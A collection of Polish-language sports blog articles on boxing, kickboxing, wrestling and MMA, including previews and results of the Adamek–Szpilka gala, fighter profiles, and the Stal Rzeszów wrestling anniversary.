Nasi reprezentanci dostają kilka dni na aklimatyzację, co jest dobrym krokiem. Liczymy na medale w mistrzostwach Europy WAKO, bo inaczej być nie może. Nasza reprezentacja już w Bilbao pokazała, że mamy ogromny potencjał. Liczymy, że z Mariboru również przywieziemy worek medali i każdego dnia będziemy mogli się cieszyć z kolejnych zwycięstw Polaków. Ruta, Wroński, Garbaczewski, Dzięciołowska, a może Kędzierska? Kto spełni oczekiwania, kto zaskoczy, kto rozczaruje? Oby każdy z zawodników spełnił swoje założenia. Nie możemy na darmo przejechać 1860 kilometrów – medale muszą zawisnąć na szyjach naszych reprezentantów i wrócić do Polski. Jeden krążek nas nie zadowoli. Tak nas nauczyli, więc przyzwyczailiśmy się i teraz czekamy. Na medale. Na worek medali. A skoro zawodnicy mają kilka dni na aklimatyzację to niech zwiedzą Maribor i zrobią zdjęcia. Będą mieli piękne wspomnienia.
KM
Jean Marc Mormeck będzie najbliższym rywalem Mateusza Masternaka. Popularny Master stanie oko w oko z Francuzem 5 grudnia w Issy-les-Moulineaux.
Pojedynek obu pięściarzy od pewnego czasu zyskiwał na popularności. Strony prowadziły negocjacje i wydawało się, że wszystko jest na najlepszej drodze do zakontraktowania walki. W ostatnich dniach obóz milczał, co powodowało, że nad pojedynkiem pojawił się znak zapytania. Ostatecznie wszystko dobrze się skończyło. Masternak zmierzy się z Mormeckiem w 10-rundowym pojedynku.
Wielu myśląc Mormeck przywołuje sobie na myśl walkę Francuza z wielkim Władimirem Kliczko. Ukraiński mistrz nie pozostawił złudzeń swojemu rywalowi. W czwartej rundzie Mormeck poczuł siłę Kliczki, który potężnie go znokautował. Francuz podjął wyzwanie i stanął oko w oko z jednym z najlepszym bokserów świata w walce o cztery pasy mistrzowskie. Nie udało się. Mormecka nie należy jednakże oceniać przez pryzmat pojedynku z Ukraińcem. Dlaczego? Odpowiedź wkrótce.
Tomasz Adamek też dokonał skoku. Przeskoczył z niższej kategorii wagowej do królewskiej. Mormeck postąpił tak samo. W wadze junior ciężkiej Francuz był mistrzem organizacji WBC i WBA. W 2003 roku pokonał Virgila Hilla i sięgnął po pas WBA, kolejny zdobył trzy lata później, gdy na punkty okazał się lepszy od Wayne’a Braithwaite’a. Mormeck mistrzowskie tytuły stracił dość szybko – w następnej walce. Francuza znokautował O’Neil Bella, a należy uwzględnić fakt, że była to pierwsza porażka przez nokaut najbliższego rywala Masternaka. W swojej karierze pojedynkował się również z Davidem Haye’m, jednak przegrał walkę, mimo iż Brytyjczyk poczuł deski. W 2010 roku Mormeck zdobył pas WBA International wagi ciężkiej pokonując Timura Ibragimowa.
Zaprezentowany obraz francuskiego boksera pozwala stwierdzić, że nie jest on anonimowy, a zauważyć należy, iż jest to pięściarz z wysokiej półki. Mormeck po osiągnięciu sukcesów w wadze cruiser chciał spróbować sił w kategorii królewskiej. Kliczki pokonać się nie udało, ale to w żaden sposób mu nie umniejsza. Jednym słowem – Mateusz Masternak staje przed wyzwaniem. W tym miejscu należy się zastanowić – kto uchodzi za faworyta? Niby Mormeck jest już wiekowy (42 lata), jednak nie można uznać, że ten fakt przekreśla jego szanse.
Masternak jest jedną z czołowych postaci wagi junior ciężkiej, jednak w ostatnim pojedynku niespodziewanie przegrał. Niejednogłośnie na punkty lepszy okazał się Youri Kalenga, zdecydowanie niżej notowany od Polaka. Teoretycznie Francuz był postawny i silny, ale to Masternak bardziej tą walkę przegrał niż jego rywal ją wygrał. Zwycięstwo pozwoliłoby Masterowi zbliżyć się do pojedynku z Lebiediewem, jednak zaprezentował się słabo i stracił szansę na zrobienie kroku w kierunku mistrzowskiej rywalizacji. W tym miejscu można zastanowić się, czy może pięściarzowi taka lekcja nie przyda się w przyszłości?
Teraz stanie na wprost Mormecka. Człowieka, który był mistrzem i walczył z tuzami boksu. Co prawda, facet liczy sobie 42 wiosny, ale jak to mówią szczęśliwi czasu nie liczą. Poważnie mówiąc – Francuz po rywalizacji w wadze ciężkiej z pewnością wzmocnił się. Jest twardszy i wytrzymalszy. Na pewno to wymagający rywal i Masternak staje przed trudnym zadaniem. Oczywiście, nie chodzi o to, żeby straszyć Mormeckiem, ale żeby dobrze przygotować się do tej walki. Polak musi rozpocząć odbudowę swojej pozycji i naprawić złe wrażenie, które pozostawił po pojedynku z Kalengą. Wydaje się niemal pewne, że mając w ringu Mormecka będzie bardziej skupiony i nie podejdzie w sposób lekceważący do przeciwnika. W końcu inaczej walczy się z byłym mistrzem, a inaczej z przeciwnikiem, który już na starcie był spisywany na straty.
5 grudnia Masternak ma rozpocząć proces odbudowy. Ma szansę stoczyć ciekawy pojedynek i zmierzyć się z bokserem, który znak smak mistrzowskich pasów. To z pewnością cenne doświadczenie dla naszego boksera. Masternak kontra Mormeck – walka, która zapowiada się ciekawie i da odpowiedź na pytanie: czy Master wróci do gry?
KM
Tomasz Kowalski fighter z naszego zaprzyjaźnionego klubu PALESTRA WARSZAWA. Utalentowany zawodnik oraz pracownik Biura Ochrony Rządu. Ważne ogniwo Polskiego Związku Kickboxingu. ZAPRASZAMY!!!
[kod]
55-lecie klubu ZKS Stal Rzeszów to okazja do rozważań na temat stanu polskich zapasów. Cieszy to, że rzeszowskie zapasy mają się dobrze i działacze dbają o tradycję swojego klubu. Z tej okazji przygotowali specjalną imprezę, która uwydatnić miała 55-lecie sekcji.
Sekcja zapaśnicza Stali Rzeszów na mapie Polski pojawiła się pięćdziesiąt pięć lat temu. W tym miejscu należy podkreślić rolę Jana Małka, który był jej założycielem oraz twórcą bogatych sukcesów klubu. Pierwsze triumfy przyszły już dwa lata po aktywacji zapasów w Rzeszowie. W 1961 roku podczas mistrzostw okręgu w Krakowie zawodnicy Stali wywalczyli pięć medali – dwa złote i trzy srebrne. Do elity polskich zapasów rzeszowski zespół awansował w 1966 roku, jednak tylko na chwilę. Ekipa spadla z I ligi, by rok później ponownie znaleźć się wśród najlepszych. Zapasy w Rzeszowie zyskiwały popularność. Klub systematycznie się rozwijał, szkolenie młodzieży postępowało i z czasem przyszły poważne sukcesy.
Pierwszym olimpijczykiem, który reprezentował barwy Stali Rzeszów był Ryszard Długosz (igrzyska w Meksyku). Można powiedzieć, że z Rzeszowa wywodzi się wielu medalistów i wielkich zapaśników. Przede wszystkim należy wspomnieć osobę Adama Sandurskiego, który godnie reprezentował Polskę, ale także Rzeszów na międzynarodowych zawodach. W 1980 roku z Moskwy Sandurski przywiózł brązowy krążek, po medal tego samego kruszcu sięgnął również jego kolega – Aleksander Cichoń. Stal Rzeszów miała w swoich barwach wielu olimpijczyków – Jan Falandys, Stanisław Makowiecki, Jerzy Nieć, Stanisław Szostecki czy wspomniany już Długosz. Sandurski wraz z kolegami wzbogacili dorobek klubu o dwadzieścia medali przywiezionych z mistrzostw świata i Europy.
Stal Rzeszów dominowała również na rodzimym podwórku, więc i na arenie krajowej może pochwalić się licznymi osiągnięciami. To klub z piękną tradycją, która ma ogromną wartość dla kształtowania świadomości przyszłych pokoleń. Zapasy stały się w pewnym momencie chlubą miasta. Stal to osiemnastokrotny drużynowy mistrz Polski. Zapaśnicy z Rzeszowie wywalczyli w sumie podczas krajowych zawodów 155 medali, wśród nich 59 było koloru złotego.
Stal Rzeszów to klub, który śmiało można uznać za wizytówkę polskich zapasów i ikonę tego sportu. Wielka tradycja, wielcy zawodnicy – w osobach Sandurskiego, Cichonia czy Długosza – oraz masa sukcesów. Obecnie Stal ma w swoich szeregach wielu obiecujących zawodników. Należy zwrócić uwagę na piątego zapaśnika mistrzostw świata Juniorów Kamila Kościółka, uczestnika tegorocznych mistrzostw świata i Europy kadetów Łukasza Grzybowskiego oraz reprezentantów Polski Jakuba Mendrala i Konrada Tronta.
W związku z 55—leciem sekcji zapaśniczej 8 listopada w Hali Sportowej ROSiR odbył się jubileuszowy turniej. Szesnastu zawodników rywalizowało w kategoriach kadetów oraz juniorów z podziałem na cztery grupach wagowych. Turniej zdominowali rzeszowianie. W kategorii 69 kg triumfował Łukasz Grzybowski, Jakub Mendrala okazał się najlepszy wśród zawodników76 kg. Mateusz Nowak zwyciężył w 96 kg, a najlepszym najcięższym (120 kg) okazał się Kamil Kościółek. Turniej swoją obecnością uświetniło wielu zacnych gości: prezes Polskiego Związku Zapaśniczego Grzegorz Pieronkiewicz, założyciel sekcji Jan Małek oraz wybitni zawodnicy klubu – Jan Falandys, Aleksander Cichoń, Ryszard Długosz.
Świętowanie rocznicy 55-lecia istnienia sekcji zapaśniczej w Rzeszowie to wydarzenie szczególne. Pokazuje i zarazem uwidacznia fakt, że tradycja tego sportu jest pielęgnowana. Pamięta się o wybitnych zapaśnikach, zaprasza na obchody, co jest bardzo ważne. W końcu oni tworzyli historię klubu i swoimi występami wzbogacali jego dorobek oraz bronili jego barw. Stal Rzeszów ma już 55 lat. Klub zapisał piękną kartę w historii. Wielu wybitnych zawodników, w tym olimpijczycy i medaliści mistrzostw świata oraz Europy, ogrom medali, sukcesy na arenie krajowej. Trzeba dbać o tradycję, pamiętać o niej i pisać kolejne rozdziały historii.
KM
Innego określenia użyć nie można. Dlaczego głośny? Bo tak, a nie inaczej. A tak poważnie wokół tego zawodnika zawsze jest wiele szumu i zamieszania. Raczej nie spektakularny i wielki powrót, bo w MMA nic nie osiągnął. O kim mowa? Marcin El Testosteron Najman wraca do MMA.
Były bokser ma pojawić się na gali PLMMA 27 grudnia, co potwierdził organizator. Najman zaprezentuje się w walce wieczoru, nazwisko jego przeciwnika nie jest znane. El Testosteron z pewnością będzie główną atrakcją widowiska, ale czy na pewno sportową? Czy o to chodzi? Organizatorzy gali zapewne stawiają na ostry marketing i spopularyzowanie gal PLMMA. Najman może okazać się skutecznym magnesem, który zapewni szeroką widownię i zachęci sponsorów do zainteresowanie się owym produktem. Kontekst w jakim będzie rozpatrywany udział Najmana w tej gali jest kwestią drugorzędną. Jedni będą chcieli go po prostu zobaczyć, inni będą liczyć na „artystyczne” atrakcje.
Czy zawodnika z Częstochowy można traktować poważnie? Z pewnością ma w sobie coś, co predysponuje go do tworzenia zamieszania wokół własnej osoby i wytwarzania aury, delikatnie mówiąc, showmana. Jednakże należy pamiętać o tym, że był bokserem i zawodnikiem kickboxingu, co daje mu prawo do startowania w zawodach MMA. Ocena stanu jego umiejętności wymaga głębszej analizy, choć Najman świata nie zawojował. W kickboxingu dwukrotnie był wicemistrzem Polski juniorów w full contact. Z kolei w karierze bokserskiej miał szansę zdobyć zawodowe międzynarodowe mistrzostwo Polski, jednak w starciu z Andrzejem Wawrzykiem okazał się gorszy. Wybitnych osiągnięć zatem Najman nie ma.
El Testosteron swój potencjał wykreował jakoby szans. Czy ów potencjał związany jest ze sportami walki? W jego przypadku trudno mówić, że wszystko zweryfikuje ring. Owszem, walka jest rozstrzygnięciem, jednak Najman stosuje wiele zabiegów przed pojedynkiem. Dużo mówi, kreuje swój wizerunek, co ma wymiar zarówno marketingowy jak i sportowy. Z jednej strony należy patrzeć na jego zachowanie jako świadome zagranie reklamowe, które ma przynieść określone zyski, z drugiej być można jest to tzw. wojna psychologiczna.
Czy w przypadku występu Najmana na PLMMA jest to skuteczne zagranie marketingowe organizatorów? El Testosteron jakby trochę się wyciszył i zaangażował w działalność grupy promotorskiej NG Promotions. Być może szansa występu zmusi go do zmiany swojej postawy i prezentowania się na forum. Co Najman może pokazać jako zawodnik MMA? Pudzianowski, Saleta i Burneika – wszystko jasne. Tak najkrócej można to zdefiniować. Trzy porażki przez poddanie – to bilans Najmana w MMA. Pudzian zaskoczył częstochowianina low-kickami, Saleta duszeniem, Burneika obłożył go ciosami. Tak naprawdę można zastanowić się jak człowiek, który ma doświadczenie w sportach walki może przegrać z były strongmanem oraz kulturystą. Porażkę z Saletą można zrozumieć, ale dwie pozostałe. Trudno to zrozumieć. Być może masa rywali zrobiła różnicę, ale Najman w obu przypadkach był pasywny.
Powrót po latach. Głośny. Sportowo nad wartością tego powrotu należy się zastanowić, ale i tak kibice zainteresują się samym nazwiskiem. Istnieje coś takiego jak magia nazwiska. Nie musi wiązać się z niczym pozytywnym, doniosłym czy ponadprzeciętnym. Wystarczy, że jest. Najman swoją osobą utkwił społeczeństwu w pamięci. Czy po walce na gali PLMMA nadal tak będzie?
KM
Polski bokser wagi ciężkiej urodzony 12 kwietnia 1989 roku w Wieliczce. W wieku 12 lat krótkotrwale uczęszczał na zajęcia bokserskie w klubie Górnik Wieliczka. Do boksu wrócił po kilku latach, w międzyczasie był chuliganem Wisły Kraków. W wieku 19 lat Artur zdobył amatorskie mistrzostwo Polski . Jako amator osiągnął również mistrzostwo Polski seniorów, wicemistrzostwo Europy kadetów oraz wygrał turniej o Złotą Rękawicę Wisły. W 2008 Szpilka przeszedł na zawodowstwo. Swoje pierwsze pięć walk stoczył w kategorii wagowej junior ciężkiej. W październiku 2009 roku miał stoczyć swój kolejny pojedynek z Wojciechem Bartnikiem , ale podczas ważenia przed walką został aresztowany. 25 czerwca 2011 roku, po wyjściu z zakładu karnego przeszedł do kategorii wagowej ciężkiej. W tym roku podpisał także kontrakt z grupą Bullit KnockOut Promotions. W tym roku stoczył jeszcze dwie wygrane walki z Owenem Beckiem i Davidem Saulsberrym. W 2012 roku stoczył trzy walki, każdą z tych walk wygrał pokonując takich bokserów jak: Terrance Marbra, Gonzalo Omar Basile i Jameel McCline. W walce z Gonzalo Omarem Basile zdobył pasy WBC Youth Silver i WBC Baltic Silver wagi ciężkiej. W 2013 roku stoczył cztery walki. Dwukrotnie pokonał Mike Mollo, zwyciężył również z Taras Bidenko oraz wygrał z Brianem Minto zdobywając tymczasowy pas WBC Baltic wagi ciężkiej. W 2014 roku doznał swojej pierwszej porażki w karierze. 25 stycznia w Madison Square Garden w Nowym Jorku, Artur stoczył pojedynek z Bryant Jennings. Amerykanin zwyciężył przez techniczny nokaut w dziesiątej rundzie. 8 listopada 2014 roku Artur Szpilka stoczył pojedynek z Tomaszem Adamkiem. Artur pokonał Tomasza decyzją sędziów po pasjonującym pojedynku. 16 stycznia 2016 roku Artur zmierzył się z Deontayem Wilderem o pas mistrzowski WBC. W dziewiątej rundzie Artur został znokautowany przez mistrza.
Zapraszamy tym razem na Galę Boksu Zawodowego Tymex Boxing Night 2. Materiał dzięki uprzejmości portalu www.Pionki24.pl.
[kod]
W pojedynku tytanów lepszy okazał się Artur Szpilka. Szpila pokonał jednogłośnie na punkty Tomasza Adamka podczas gali Polsat Boxing Night.
Dla niemalże wszystkich w Polsce ten pojedynek miał szczególny wymiar. Z jednej strony były mistrz świata dwóch kategorii wagowych, doświadczony bokser, a z drugiej młody i waleczny bokser z ambicjami. Ring miał zweryfikować wszystko. Szpilka i Adamek stanęli przed nie lada wyzwaniem – mieli zaprezentować boks najwyższych lotów. Czy tak było? Początek walki w wykonaniu obu pięściarzy był zachowawczy. Tak naprawdę nie jest to w żaden sposób zaskakujące, gdyż kluczową rolę odgrywało wzajemne "wyczucie się". Szpilka był uważny i trafił w trzeciej rundzie prostym, który zrobił wrażenie na Adamku. Prawdę mówiąc, obaj byli bardzo czujni i obserwowali się wzajemnie. Adamek do głosu doszedł w piątej rundzie, kiedy to zastosował skuteczny pressing. Szpilka trochę się pogubił i Góral miał okazję kilkukrotnie trafić celnie prawym. Adamek szukał swoich okazji, ale to Szpila był szybszy i zadawał celne ciosy. Góralowi jeszcze w ósmej rundzie udało się dopaść rywala przy linach, jednak nie zrobił przeciwnikowi krzywdy. W ostatniej odsłonie pojedynku były mistrz świata zaryzykował i ruszył odważnie, jednak Szpilka zachował się mądrze. Nie pozwolił sobie na błąd, zadał kilka ciosów i po ostatnim gongu mógł cieszyć się z wygranej. Sędziowie punktowali: 96-94, 98-92, 96-94.
Czy ten pojedynek spełnił oczekiwania? Z pewnością wielu liczyło na efektowniejszą walkę. Jednakże w tym wypadku najważniejsza była odpowiedź na pytanie kto? Kwestia w jaki sposób była tak naprawdę drugorzędna. Spotkał się wielki mistrz i ambitny bokser, który głośno mówi o swoich aspiracjach. Odpowiedź uzyskaliśmy. Wygrał Artur Szpilka, który dzięki temu zwycięstwu zyskał renomę i udowodnił mimo wszystko, że potrafi wytrzymać presję, a także pokazać skuteczny boks. Zastanawiano się, czy Szpilka jest w stanie i potrafi coś więcej niż stosowanie słownych prowokacji. Okazało się, że dobrze przygotował się do pojedynku. Istotne w tym przypadku jest także podkreślenie, że Szpilka zachował się godnie, gdyż potrafił docenić Adamka i jego dokonania. Być może Szpila wreszcie dojrzał. Z kolei sam Adamek zaznaczył, że jego czas dobiega końca. Imponujące jest to, że Góral potrafi przegrywać z klasą. Nie szuka wymówek i usprawiedliwień, nie robi nic na siłę. Czy to ostateczny koniec? Wszystko przed nami, jednak sam Adamek podkreślił, że czas się żegnać.
Pojedynek, na który czekała cała Polska za nami. W cień odchodzi wielki mistrz, który w ringu imponował. Jego ambicja, ciężka praca i upór pozwoliły mu sięgnąć po mistrzowskie pasy i walczyć z najlepszymi. Czy tym samym zaczyna się czas Szpilki? Ten pojedynek może być dla niego przełomowy. Oczywistym faktem jest, że młody bokser musi jeszcze nad sobą pracować, gdyż jego wybuchowość oraz krnąbrny charakter mogą mu wyrządzić wiele złego. Przede wszystkim trening i spokój. Tak jak mówił Adamek przed tą walką – wszystko okaże się w ringu. Szpilka powinien postawić na boks. Niech ring weryfikuje go jako boksera. Być może musi do tego dojrzeć. Kwestią fundamentalną jest również pytanie, czy Szpilka zbyt mocno nie zachłyśnie się wygraną z Adamkiem i nie zacznie bujać w obłokach. Co dalej? Wszystko jest w jego rękach, a być może przede wszystkim – w jego głowie. Czy wytrzyma? Jeśli skupi się na tym, co dla niego najważniejsze powinien sprostać wyzwaniu.
Podczas gali byliśmy również świadkami starcia w wadze średniej pomiędzy byłym mistrzem Europy Grzegorzem Proksą, a niepokonanym w ringu Maciejem Sulęckim. Większość stawiała na doświadczonego Super G. – Czy doświadczenie wygra z ambicją? – zastanawiała się przed tym pojedynkiem mistrzyni świata Ewa Brodnicka. Okazało się, że Sulęcki bardzo chciał wygrać i dokonał tego. Jego ambicja pokonała doświadczenie Proksy. Od początku walki Super g był bardzo mobilny, ale nie przynosiło mu to wymiernych efektów. Sulęcki wykorzystywał swoją przewagę fizyczną i stosował długi lewy prosty. Sulek wypracował sobie przewagę, co widoczne było w ocenach sędziowskich – prowadził we wszystkich rundach. Proksa szukał sposobu na Sulęckiego. Próbował wymusić na nim błąd stosując nieustanny pressing, jednak rywal był doskonale na to przygotowany. W siódmej rundzie Sulek w końcu zakończył próby Super G. Kontra z prawej ręki, potężny cios, po którym Proksa padł. Sulęcki nadal niepokonany. Wygrał bardzo trudny pojedynek z wartościowym rywalem, co jest dla niego ogromną szansą na dalszy rozwój. A Proksa? Przed Super G trudny czas. Powrót na szczyt skomplikował się niesamowicie.
Do wyrównania, jeszcze z czasów amatorskich, rachunki mieli Michał Syrowatka i Michał Chudecki. Wszystko rozstrzygnęło się bardzo szybko. Zaledwie w 87 sekund. Chudecki padł po prawym sierpowym rywala na deski. Syrowatka potężnie znokautował przeciwnika, który dobrych kilka chwil dochodził do siebie. Do prawdziwej wymiany ciosów doszło między Andrzejem Sołdrą, a Dawidem Kosteckim. Obaj pięściarze nie szczędzili sobie mocnych uderzeń. Cygan postawił na lewy prosty, z kolei Sołdra stosował lewy sierpowy. Kostecki pod koniec walki wyglądał kiepsko pod względem kondycyjnym, co starał się wykorzystać rywal. Mocne sierpy Sołdry dały się we znaki pięściarzowi z Rzeszowa. O wszystkim mieli zadecydować sędziowie. Okazało się, że skazywany na porażkę Sołdra wygrał jednogłośnie na punkty: 76-75, 77-75, 77-75.
Wyniki wszystkich walk gali Polsat Boxing Night:
Waga ciężka (10 rund): Tomasz Adamek (49-4, 29 KO) – Artur Szpilka (17-1, 12 KO) – jednogłośnie na punkty
Waga średnia (10 rund): Grzegorz Proksa (29-4, 21 KO) – Maciej Sulęcki (19-0, 3 KO) – przez nokaut w 7 rundzie
Kategoria j. półśrednia (10 rund): Michał Chudecki (10-1-1, 3 KO) – Michał Syrowatka (11-0, 2 KO) – przez nokaut w 1 rundzie
Kategoria półciężka (8 rund): Dawid Kostecki (39-2, 25 KO) – Andrzej Soldra (11-1-1, 5 KO) – jednogłośnie na punkty
Kategoria półśrednia (8 rund): Michał Żeromiński (7-2, 1 KO) – Łukasz Maciec (22-2-1, 5 KO) – jednogłośnie na punkty
Kategoria super kogucia (6 rund): Piotr Gudel (2-1-0) – Rafał Kaczor (2-1) – niejednogłośnie na punkty
KM
Choć wszyscy pieją i zachwycają się starciem Tomasza Adamka z Arturem Szpilką to poza tym istnieje jeszcze świat i nie wolno o tym zapomnieć. Tego samego dnia, w tym samym miejscu dojdzie do arcyciekawego pojedynku w wadze średniej. Maciej Sulęcki zmierzy się z Grzegorzem Proksą.
Młody, utalentowany i ambitny takie określenia najczęściej pojawiają się w kontekście 25-letniego boksera. Sulęcki w dotychczasowej karierze nie poniósł jeszcze porażki. W swoim ostatnim pojedynku pokonał Nicolasa Diona. W poprzednim roku wygrał ciekawy pojedynek polsko – polsko z Łukaszem Wawrzyczkiem. Sulęcki stopniowo wchodzi na coraz wyższy poziom. Walka z Proksą będzie dla niego prawdziwym wyzwaniem. Czy da radę? Sulęcki ma nad Proksą podstawową przewagę – jest wyższy i ma większy zasięg ramion. Czy wykorzysta ten atut? Warto nadmienić, że Sulęcki do tej pory walczył na polskiej ziemi, nie próbował sił poza granicami kraju.
Proksa jest wyzwaniem dla 25-letniego pięściarza. 30-latek urodzony w Mysłowicach w boksie osiągnął już wiele. Można posługując się tekstem z kultowego „Killera” powiedzieć, że jest „człowiekiem światowym”. Walczył na niejednym ringu, zdobywał tytuły, walczył z najlepszymi. Super G swój pierwszy sukces odniósł w 2006 roku, kiedy to zdobył w Hartlepool tytuł młodzieżowego mistrza świata WBC i IBF. W 2010 roku wywalczył mistrzostwo EBU-EU w wadze średniej po pokonaniu Tyana Bootha. Rok później sięgnął po wakujący pas mistrza Europy federacji EBU pokonując Sebastiana Sylvestra. Teraz te osiągnięcia pozostają jedynie wspomnieniem. Obecnie Proksa marzy o powtórzeniu swoich dni chwały. Ostatnią swoją walkę przegrał – jego rywalem był Sergio Mora. W sześciu ostatnich pojedynkach Super G ma bilans 3-3. Proksa oprócz Mory znalazł pogromców w osobach Kerry’ego Hope’a (wygrał z nim rewanż) oraz Gennady’a Golovkina.
– Proksa to utytułowany zawodnik, za którym przemawia duże doświadczenie. Maciek to z kolei młody pięściarz, głodny sukcesu, który do tej pory nie zanotował ani jednej porażki. Czy doświadczenie wygra z ambicją? – powiedziała nam Ewa Brodnicka, mistrzyni świata w boksie. Doświadczenie jest po stronie Proksy, który toczył już mistrzowskie walki. Pojedynek z Sulęckim będzie dla Super G wyzwaniem. Przychodzi mu stanąć na wprost rywala potężniejszego fizycznie. Proksa nie raz pokazał, że w ringu jest szybki i zdecydowany. Wiele swoich walk kończył przez nokaut m.in. Taza Jonesa, Alexa Spitko czy Theopilusa Tetteha. Z pewnością dla samego rozwoju Proksy istotny był fakt nawiązania współpracy z trenerem Fiodorem Łapinem, przy którym Super G wyraźnie nabrał pewności siebie i doszlifował swoje umiejętności. Czy talentem przewyższa Sulęckiego? O 25-latku mówi się, że ma potencjał. Tak naprawdę w Krakowie nastąpi weryfikacja jego umiejętności. Proksa to bokser z wyższej półki, z dużym potencjałem i doświadczeniem na zawodowym ringu. Mimo wszystko teraz musi się odbudować, gdyż ostatnie pojedynki nie kończyły się dla niego najlepiej. A nie można wiecznie żyć faktem, że było się mistrzem. Z pewnością Proksa ma tego świadomość i chce rozpocząć nową drogę. Od zwycięstwa w rywalizacji z rodakiem.
Zdaniem Ewy Brodnickiej trudno jednoznacznie wskazać faworyta. – Eksperci większe szanse dają Proksie. Według mnie nie ma tutaj pewnego faworyta i szanse rozkładają się po połowie co sprawia, że pojedynek ten będzie świetnym widowiskiem –powiedział fightime.pl posiadaczka pasa WBF.
Walka Sulęckiego z Proksą będzie bardzo dobrym wprowadzeniem do dania głównego, czyli pojedynku Adamek – Szpilka. 8 listopada dowiemy się także, kto dominuje w wadze średniej. Po raz kolejny pada pytanie: talent czy doświadczenie? Sulęcki nie może doczekać się tej walki. Dla niego będzie to wyzwanie i szansa na otworzenie sobie drogi na salony. Czym ta walka tak naprawdę będzie dla Proksy? Czy Super G ma coś do stracenia? Przegrana może zachwiać jego pozycją i zepchnąć go w niebyt, a wygrana może pomóc w powrocie na szczyt. Trudno jest oceniać, kto może więcej zyskać. Mniejsze straty spowodowane porażką będą z pewnością dotykały Sulęckiego. Proksa trochę ryzykuje. Czy słusznie? W ringu poznamy odpowiedź.
KM
Fot. galeria.trojmiasto.pl
W Krakowie dojdzie do upragnionego przez wielu starcia w polskim boksie. Wszyscy odliczają już godziny do tego wydarzenia i oczekują aż do ringu wejdą Tomasz Adamek i Artur Szpilka.
Pojedynek na szczycie i o prymat w polskim boksie, a dokładniej w wadze ciężkiej. Podstawowe pytanie brzmi: kto?, a nie jak? Ktoś musi wyjść zwycięsko z tego starcia, jeden z nich zostanie królem, a drugi będzie musiał pokornie zejść z ringu. Adamek czy Szpilka?
Od kilku miesięcy mówiło się o tym pojedynku, gdy stał się faktem zawładnął całym sportowym światem. Przyjął postać chleba powszedniego. Z jednej strony doświadczony bokser, z drugiej pięściarz, który chce osiągać wielkie sukcesy. Jak ich porównać? Wystarczy na nich spojrzeć i już widać fizyczne różnice. Adamek do wagi ciężkiej dojrzewał, przeszedł do królewskiej kategorii z niższego szczebla. Nie jest typem wysokiego i prężnego boksera. Stawia na swoją szybkość, zwinność, doświadczenie i umiejętności. Szpilka to typowy ciężki. „Kawał chłopa”, który szuka nokautu i mocno uderza. Fizycznie widoczna jest pewna dysproporcja, ale nie o fizyczność tu chodzi. Boks jest dyscypliną, w której istotną rolę odgrywają umiejętności indywidualne, głowa i taktyka. Jeśli oceniać by po fizyczności to Adamek mógłby pakować walizki i wracać do USA, jednak nie w tym rzecz.
Szpilka długo czekał na tą walkę. Młody bokser za wszelką cenę chce pokazać, kto jest najlepszym bokserem w Polsce. Warto podkreślić, że na Szpilkę patrzy się jako na pięściarza typu ulicznego zawadiaki. Wpływ na tą opinię ma przede wszystkim jego przeszłość, jednak w tym miejscu oceniamy go jako boksera. W ringu pokazał, że szybko potrafi zakończyć walkę w efektowny sposób. Nokaut nie jest mu obcy. Czy będzie w stanie znokautować doświadczonego Adamka?
Góral cieszy się z pobytu w Polsce, gdyż na co dzień mieszka w USA. Ma okazję skorzystać z uroków ojczystego kraju i przygotować się do walki. Adamek jest spokojny, nie wdaje się ze Szpilką w niepotrzebną pyskówkę, choć ten g prowokuje i podnosi jego religijność określając ją jako przesadną. Góral nie odpowiada na te zaczepki, jedynie konstatuje, że wszystko zweryfikuje ring. Adamek pilnie trenuje, aby 8 listopada zaprezentować swój potencjał.
Obaj bokserzy trenują blisko siebie – dzieli ich 55 kilometrów. Wystarczy chwila, aby mogli się spotkać. To stanie się jednak 8 listopada w Krakowie. Obaj mają podstawę do pewnej rehabilitacji. Adamek w swoim ostatnim pojedynku uległ Wiaczesławowi Głazkowowi. Co by było, gdyby udało się pokonać tą przeszkodę? Być może Adamek miałby otwartą drogę, aby zbliżyć się do kolejnej walki o pas, ale to tylko i wyłącznie gdybanie. Z kolei Szpilka w ostatnim pojedynku uległ Bryantowi Jenningsowi, który znokautował Polaka w dziesiątej rundzie. Obaj mają podstawę do rehabilitacji, jednak mało, kto o tym pamięta. Liczy się prymat w polskiej wadze ciężkiej.
Adamek może, Szpilka musi. Góral swoje w boksie zrobił. Walczy, bo czuje się w tym dobrze i nadal ma energię do rywalizacji w ringu. Z pewnością trudno teraz snuć dociekania, czy Adamek jest w stanie zbliżyć się do granicy, którą byłaby walka o mistrzostwo świata. Wydaje się jednak, że ten czas już minął. Mimo wszystko Adamka stać na efektowne walki i na zwycięstwa. Dlaczego Szpilka musi? Wynika to trochę z jego charakteru. Bokser sam na siebie wytworzył presję, wypowiedział tyle słów, w których podkreślał swoją dominację i teraz nie pozostaje mu nic innego niż wygrana. Kwestia fundamentalna – czy jest w stanie pokonać Adamka? Mówiąc krótko nie walczy z „ogórkiem”. To będzie pojedynek, to będzie wojna. Szpilka musi przemówić pięściami. Przeważa fizycznie nad Adamkiem, ale w tym pojedynku musi mieć głowę na karku. Z pewnością Adamek mądrze rozegra tą walkę i zmusi Szpilkę do dużego wysiłku.
Doświadczenie czy młodość? Spokój czy porywczość? Adamek czy Szpilka? Walka o prymat w polskiej wadze ciężkiej. Czekamy na nią. Niech przemówią pięści. Niech wygra lepszy.
KM
Gala MMA przed zawodami motocrossowymi? Dlaczego nie? Właśnie taką galę zorganizował Bellator przed zawodami Monster Energy.
Czy ten pomysł wyda owoce? Jak dalej będzie wyglądała ta współpraca? Pierwsza gala nazwiskami nie zachwyciła i trudno cokolwiek o niej powiedzieć, bo nie była nigdzie transmitowana ani nie została zapisana w postaci video. Zawody odbyły się 18 października w Las Vegas, jednak walki nie weszły w cykl imprez organizowanych przez Bellator. Pojedynki odbyły przed główną atrakcją wieczoru, czyli występami motocrossowymi, gdzie pierwszą nagrodą był milion dolarów. Wracając do meritum, Bellator przygotował dla widzów trzy walki. Zawodnicy nieznani, zaledwie dwóch z sześciu miało za sobą występy dla organizacji. Nie ma, co ukrywać, że Bellator podszedł do tej inicjatywy z dystansem. Jak mówi stara mądrość: „pierwsze śliwki robaczywi”. Wszyscy chcieli zobaczyć jak to wygląda i czy tak naprawdę warto dalej ciągnąć nowe przedsięwzięcie.
